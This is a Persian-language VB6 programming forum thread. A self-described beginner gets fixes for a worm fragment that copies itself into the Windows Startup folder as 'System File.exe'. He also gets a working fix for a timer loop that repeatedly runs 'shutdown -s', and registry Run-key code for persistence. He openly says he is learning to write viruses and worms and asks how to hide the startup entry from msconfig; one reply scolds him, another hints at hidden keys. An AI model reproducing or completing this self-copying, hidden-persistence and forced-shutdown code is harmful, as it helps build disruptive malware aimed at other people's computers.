سلام دوستان
هنگام Run کردن کد زیر
کد:
Private Sub Form_Load()
On Error Resume Next
If App.PrevInstance = True Then End
If Len (Dir$("C:\WINDOWS\Start Menu\Programs\StartUp\Syst" & _
"em File.exe")) = 0 Then
FileCopy WormFile, "C:\WINDOWS\Start Menu\Programs\Star" & _
"tUp\System File.exe"
End If
If App.Path = "A:\" Or App.Path = "B:\" Then
Unload Me
End If
End Sub
از این خط
کد:
If Len (Dir$("C:\WINDOWS\Start Menu\Programs\StartUp\Syst" & _
"em File.exe")) = 0 Then
Syntax Error می گیره اگر کمک در رفع ارور کنید ممنون میشم
کد:
If Len(Dir$("C:\WINDOWS\Start Menu\Programs\StartUp\Syst" & amp _
& "em File.exe")) = 0 Then
دوست عزیز ممنون
یک سوال دیگه هم داشتم که گفتم براش بی خودی تاپیک جدید نزنم همین جا مطرحش کنم اونم این که به کد زیر نگاه کنید:
کد:
Private Sub Form_Load()
cnt = 60
End Sub
Private Sub Timer1_Timer()
cnt = -1
If cnt = 50 Then Shell ("shutdown -s")
If cnt = 40 Then Shell ("shutdown -s")
If cnt = 30 Then Shell ("shutdown -s")
If cnt = 20 Then Shell ("shutdown -s")
If cnt = 10 Then Shell ("shutdown -s")
If cnt = 0 Then Shell ("shutdown -s")
If cnt = 0 Then cnt = 60
End Sub
خوب این اجرا نمیشه یعنی ساختارش درسته شل کد رو اجرا نمیکنه چه کنم که این کار رو انجام بده ممنون میشم جواب بدین
خوب شما تو تایمر مقدار cnt رو برابر -1 میکنین و هیچ تغییری نمیکنه .
یک اینکه متغییر cnt باید بصورت عمومی تعریف بشه و دوم اینکه تو تایمر باید cnt=cnt-1 مقدار دهی بشه .
ممنون دوست عزیز اینم سورس کامل شده کار
کد:
Dim cnt As Integer
Private Sub Form_Load()
cnt = 60
Timer1.Interval = 1000
End Sub
Private Sub Timer1_Timer()
cnt = cnt - 1
If cnt = 50 Then Shell ("shutdown -s")
If cnt = 40 Then Shell ("shutdown -s")
If cnt = 30 Then Shell ("shutdown -s")
If cnt = 20 Then Shell ("shutdown -s")
If cnt = 10 Then Shell ("shutdown -s")
If cnt = 0 Then Shell ("shutdown -s")
If cnt = 0 Then cnt = 60
End Sub
یک سوال دیگه داشتم از دوستان اونم این که:
من برنامه رو تو استارت آپ قرار میدم بایک دستور که هنگام بارگذاری ویندوز این برنامه هم ران بشه حالا میخوام بدونم دستوری هست که این برنامه رو از لیست استارت آپ تو Msconfig مخفی کنه که کسی نتونه با مشاهده اون قسمت تیک مربوطشو برداره؟؟
ممنون میشم اگر پاسخ بدین
ممنون دوست عزیز اما من چون کار با وی بی رو تازه شروع کردم همچنین خیلی هم از رجیستری سر در نمیارم.
تلاش کردم که از این لینکی که داده بودین استفاده کنم اما هرکاری کردم سر در نیاوردم چه خط دستوری تو ویبی بنویسم اگر این لطفو بکنین خط کد مربوطشو بهم بدین ممنون میشم.حداقل ببینم سردربیارم چی هست و چه باید کرد؟؟
ممنون
تازه شروع کردی اونوقت میخواهی ویروس و کرم بنویسی و مردم ازاری کنی ؟ :d
واقعا که .
اتفاقا ویروس خاصی نیست اون که اون بالا گذاشتم از شل کد که همین طوری بود اون اولی هم مال یه ورم آماده بود که از تو نت پیدا کرده بودم داشتم ساختارشو بررسی میکردم.
اما کاری که خودم می خوام انجام بدم اینه که یه برنامه دارم می نویسم برای پروژه دانشگاهی سر کل کل با استاده استادمون یه همچین شرطی رو گفته که برنامه داشته باشه حالا برنامه چیه اینه که بیاد چند تا پیغامو تو بازه های زمانی مختلف نمایش بده
از شما دوستان پنهون نباشه من که خودم دارم رو ویروس نویسی و ورم نویسی هم کار میکنم اما تا اطلاعاتم در این ضمینه به حدی که به نظر خودم یه خورده کافی باشه برای شروع. نمیرم سروقت ویروس نویسی
ممنون میشم اگر در این مورد هم کمکم کنید
دوست عزيز فكر نون باش كه خربزه رو هركي خورده پاي لرزشم نشسته!
با اين كد مي تونيد بدون مقدمه و به راحتي داخل رجيستري كليد و مقدار بسازيد.
کد:
Set reg = CreateObject("wscript.shell")
reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & App.EXEName, App.path & "\" & App.EXEName & ".exe"
Set reg = Nothing
براي اينكه تو استارت آپ ليست MSConfig ديده نشه هم بايد از كليدهاي خاصي استفاده كني كه تو اين ليست ديده
نشن. مي تونيد ليست كامل آدرس هاي استارت آپ رجيستري رو داخل فروم پيدا كنيد.
![[تصویر: search.gif]](http://forum.iranled.com/problue/toplinks/search.gif)